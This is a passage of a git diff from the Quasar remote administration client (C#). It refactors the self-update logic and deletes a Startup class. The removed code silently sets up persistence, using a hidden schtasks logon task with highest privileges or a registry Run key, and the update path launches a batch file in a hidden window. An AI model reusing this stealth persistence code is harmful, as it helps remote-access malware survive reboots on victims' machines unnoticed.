+ if (string.IsNullOrEmpty(batchFile))
+ throw new Exception("Could not create update batch file.");
+
+ ProcessStartInfo startInfo = new ProcessStartInfo
{
- FileHelper.DeleteZoneIdentifier(newFilePath);
+ WindowStyle = ProcessWindowStyle.Hidden,
+ UseShellExecute = true,
+ FileName = batchFile
+ };
+ Process.Start(startInfo);
- var bytes = File.ReadAllBytes(newFilePath);
- if (!FileHelper.HasExecutableIdentifier(bytes))
- throw new Exception("no pe file");
-
- string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath);
-
- if (string.IsNullOrEmpty(batchFile))
- throw new Exception("Could not create update batch file.");
-
- ProcessStartInfo startInfo = new ProcessStartInfo
- {
- WindowStyle = ProcessWindowStyle.Hidden,
- UseShellExecute = true,
- FileName = batchFile
- };
- Process.Start(startInfo);
-
- if (Settings.STARTUP)
- Startup.RemoveFromStartup();
-
- return true;
- }
- catch (Exception ex)
+ if (Settings.STARTUP)
{
- NativeMethods.DeleteFile(newFilePath);
- client.Send(new SetStatus {Message = $"Update failed: {ex.Message}"});
- return false;
+ var clientStartup = new ClientStartup();
+ clientStartup.RemoveFromStartup(Settings.STARTUPKEY);
}
}
}
diff --git a/Quasar.Client/Setup/Startup.cs b/Quasar.Client/Setup/Startup.cs
deleted file mode 100644
index 845bf403..00000000
--- a/Quasar.Client/Setup/Startup.cs
+++ /dev/null
@@ -1,76 +0,0 @@
-using Microsoft.Win32;
-using Quasar.Client.Config;
-using Quasar.Client.Helper;
-using System;
-using System.Diagnostics;
-using System.Windows.Forms;
-
-namespace Quasar.Client.Setup
-{
- public static class Startup
- {
- public static bool AddToStartup()
- {
- if (WindowsAccountHelper.GetAccountType() == "Admin")
- {
- try
- {
- ProcessStartInfo startInfo = new ProcessStartInfo("schtasks")
- {
- Arguments = "/create /tn \"" + Settings.STARTUPKEY + "\" /sc ONLOGON /tr \"" + Application.ExecutablePath + "\" /rl HIGHEST /f",
- UseShellExecute = false,
- CreateNoWindow = true
- };
-
- Process p = Process.Start(startInfo);
- p.WaitForExit(1000);
- if (p.ExitCode == 0) return true;
- }
- catch (Exception)
- {
- }
-
- return RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
- "Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, Application.ExecutablePath,
- true);
- }
- else
- {
- return RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
- "Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, Application.ExecutablePath,
- true);
- }
- }
-
- public static bool RemoveFromStartup()
- {
- if (WindowsAccountHelper.GetAccountType() == "Admin")
- {
- try
- {
- ProcessStartInfo startInfo = new ProcessStartInfo("schtasks")
- {
- Arguments = "/delete /tn \"" + Settings.STARTUPKEY + "\" /f",
- UseShellExecute = false,
- CreateNoWindow = true
- };
-
- Process p = Process.Start(startInfo);
- p.WaitForExit(1000);
- if (p.ExitCode == 0) return true;
- }
- catch (Exception)
- {
- }
-
- return RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
- "Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY);
- }
- else
- {
- return RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
- "Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY);
- }
- }
- }
-}
diff --git a/Quasar.Client/Messages/UserStatusHandler.cs b/Quasar.Client/User/ActivityDetection.cs
similarity index 66%
rename from Quasar.Client/Messages/UserStatusHandler.cs
rename to Quasar.Client/User/ActivityDetection.cs
index bc2b9c6f..2e1ca334 100644
--- a/Quasar.Client/Messages/UserStatusHandler.cs
+++ b/Quasar.Client/User/ActivityDetection.cs
@@ -2,13 +2,12 @@
using Quasar.Client.Networking;
using Quasar.Common.Enums;
using Quasar.Common.Messages;
-using Quasar.Common.Networking;
-using System.Diagnostics;
+using System;
using System.Threading;
-namespace Quasar.Client.Messages
+namespace Quasar.Client.User
{
- public class UserStatusHandler : MessageProcessorBase